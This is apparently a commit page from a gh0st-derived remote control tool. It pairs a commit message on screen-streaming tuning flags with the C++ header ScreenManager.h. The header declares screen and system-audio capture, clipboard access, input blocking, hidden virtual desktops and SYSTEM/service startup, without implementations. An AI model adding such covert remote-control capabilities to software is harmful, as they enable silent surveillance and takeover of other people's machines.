Adds "Advanced -> Remote desktop tuning" with three independently checkable items, all enabled by default: x264 bitrate cap (VBV) TUNING_X264_VBV 0x1 GDI capture: no slice delay TUNING_GDI_NO_SLEEP 0x2 Send pacing FPS floor TUNING_PACE_FPS_FLOOR 0x4 Unticking an item clears its bit and restores the pre-commit behaviour exactly, so the escape hatch is one click per measure -- no rebuild, no config edit. Each bit is independent; a problem with one does not force turning all three off. Plumbing -------- Menu state -> [settings] Tuning* -> CMy2015RemoteDlg::GetScreenTuningFlags() -> CScreenSpyDlg::SendScreenTuning() (right after TOKEN_BITMAPINFO) -> CMD_SCREEN_TUNING = 178 [cmd:1][flags:4 LE] -> CScreenManager::OnReceive -> m_nTuningFlags -> ScreenCapture::SetTuningFlags Why it is safe to send to old clients: CScreenManager::OnReceive has no default branch in its switch, so an unknown command falls straight out (verified). 178 was unassigned (177 = COMMAND_SET_PROTO, 199 = TOKEN_DECRYPT), and the enum re-anchors explicitly so nothing auto- increments onto it. Flags are sent even when all-zero on purpose: the client's flag lives in CScreenManager, which survives closing and reopening the remote desktop window on the same connection. Without the zero send, unticking the menu would leave the previous flags in effect. Per-measure notes ----------------- VBV: capped CRF (peak = target, 0.5s buffer, init 0.9). The hardware paths already cap via rc_max_rate (1.5x, 1s buffer); this is tighter and only affects x264. After an IDR the buffer drains and takes up to 0.5s to refill, so a brief quality dip follows every keyframe -- if that shows up, relaxing to 1.5x/1s would match NVENC/QSV. GDI: keeps the 50-line BitBlt slicing (large single BitBlts hit driver limits) and only drops the 5ms sleep between slices -- 1080p is 22 slices = a forced 110ms per frame against a 50ms budget at 20fps. Pacing: clamps s0 to 2x the base interval instead of 4x (2fps -> 4fps), taken as max(2x base, 1000/MaxFPS) so it never exceeds the configured MaxFPS. The growth/decay code itself is untouched. This one works against the loop's own congestion signal, so it is the first to untick if a bad link feels laggier rather than smoother. SetTuningFlags only rebuilds the encoder when TUNING_ENCODER_BITS (currently just VBV) changes -- the GDI and pacing bits are read live by the capture and send threads, and rebuilding for them would drop an IDR and visibly flash the picture. Defaults: the on-by-default value lives in the third argument of THIS_CFG.GetInt(), which only applies when the key is absent. A machine that already has an explicit 0 keeps it, so the flip is not retroactive and a test machine can end up with a mixed state. Verified on the Debug build: with no Tuning* keys all three items start checked; unticking VBV alone leaves the other two checked and survives a restart; en_US/de_DE/zh_TW translations all resolve. Not yet measured end to end on a real remote desktop session.
139 lines
5.1 KiB
C++
139 lines
5.1 KiB
C++
// ScreenManager.h: interface for the CScreenManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
|
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
#include "Manager.h"
|
|
|
|
bool IsWindows8orHigher();
|
|
|
|
#if ENABLE_SCREEN==0
|
|
#define CScreenManager CManager
|
|
#else
|
|
|
|
#include "ScreenSpy.h"
|
|
#include "ScreenCapture.h"
|
|
|
|
// WASAPI 前向声明 (COM 接口)
|
|
struct IMMDevice;
|
|
struct IAudioClient;
|
|
struct IAudioCaptureClient;
|
|
// WAVEFORMATEX 使用 void* 避免包含头文件
|
|
|
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
|
|
|
BOOL IsRunningAsSystem();
|
|
|
|
class IOCPClient;
|
|
|
|
struct UserParam;
|
|
|
|
class CScreenManager : public CManager
|
|
{
|
|
public:
|
|
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE);
|
|
virtual ~CScreenManager();
|
|
HANDLE m_hWorkThread;
|
|
ScreenSettings m_ScreenSettings = { 20 };
|
|
QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖)
|
|
// 远程桌面调优开关位(CMD_SCREEN_TUNING 下发),本地初值 0,主控端默认下发 0x7。
|
|
// 保存在这里而不是 ScreenSettings 里,避免改动服务端↔客户端的固定结构体布局。
|
|
int m_nTuningFlags = 0;
|
|
|
|
virtual void InitScreenSpy();
|
|
void LoadQualityProfiles(); // 从配置文件加载质量配置
|
|
void SaveQualityProfiles(); // 保存质量配置到配置文件
|
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
|
VOID SendBitMapInfo();
|
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
|
|
|
ScreenCapture* m_ScreenSpyObject;
|
|
VOID SendFirstScreen();
|
|
const char* GetNextScreen(ULONG &ulNextSendLength);
|
|
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
|
|
|
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
|
UserParam *m_pUserParam = NULL;
|
|
INT_PTR m_ptrUser;
|
|
HDESK g_hDesk;
|
|
BOOL m_isGDI;
|
|
std::string m_DesktopID;
|
|
BOOL m_bIsWorking;
|
|
BOOL m_bIsBlockInput;
|
|
RECT m_ROI = {0};
|
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
|
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发)
|
|
BOOL m_SwitchScreen = TRUE;
|
|
BOOL SendClientClipboard(BOOL fast);
|
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
|
|
|
std::string m_hash;
|
|
std::string m_hmac;
|
|
CONNECT_ADDRESS *m_conn = nullptr;
|
|
uint64_t m_MyClientID = 0; // V2: 本机客户端ID
|
|
void SetConnection(CONNECT_ADDRESS* conn)
|
|
{
|
|
m_conn = conn;
|
|
if (conn) m_MyClientID = conn->clientID;
|
|
}
|
|
bool IsRunAsService() const
|
|
{
|
|
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
|
|
return true;
|
|
static BOOL is_run_as_system = IsRunningAsSystem();
|
|
return is_run_as_system;
|
|
}
|
|
// 获取当前活动桌面(带写权限,用于锁屏等安全桌面)
|
|
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
|
|
HDESK s_inputDesk = NULL;
|
|
clock_t s_lastCheck = 0;
|
|
DWORD s_lastThreadId = 0;
|
|
|
|
bool SwitchScreen();
|
|
bool RestartScreen(BOOL switchScreen = FALSE);
|
|
void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab)
|
|
virtual BOOL OnReconnect();
|
|
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
|
uint64_t m_DlgID = 0;
|
|
BOOL m_SendFirst = FALSE;
|
|
std::string m_Signature;
|
|
// 虚拟桌面
|
|
BOOL m_virtual;
|
|
POINT m_point;
|
|
POINT m_lastPoint;
|
|
BOOL m_lmouseDown;
|
|
HWND m_hResMoveWindow;
|
|
LRESULT m_resMoveType;
|
|
BOOL m_rmouseDown; // 标记右键是否按下
|
|
POINT m_rclickPoint; // 右键点击坐标
|
|
HWND m_rclickWnd; // 右键窗口
|
|
int m_nSwitchWindowIndex = 0; // 切换窗口索引
|
|
|
|
// ========== 系统音频捕获 (WASAPI Loopback) ==========
|
|
volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志(独立于视频线程)
|
|
volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化
|
|
HANDLE m_hAudioThread = NULL; // 音频线程句柄
|
|
HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒
|
|
|
|
// WASAPI 相关
|
|
IMMDevice* m_pAudioDevice = nullptr;
|
|
IAudioClient* m_pAudioClient = nullptr;
|
|
IAudioCaptureClient* m_pCaptureClient = nullptr;
|
|
void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX*
|
|
|
|
BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback
|
|
void UninitWASAPI(); // 释放 WASAPI 资源
|
|
static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程
|
|
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
|
};
|
|
|
|
#endif
|
|
|
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|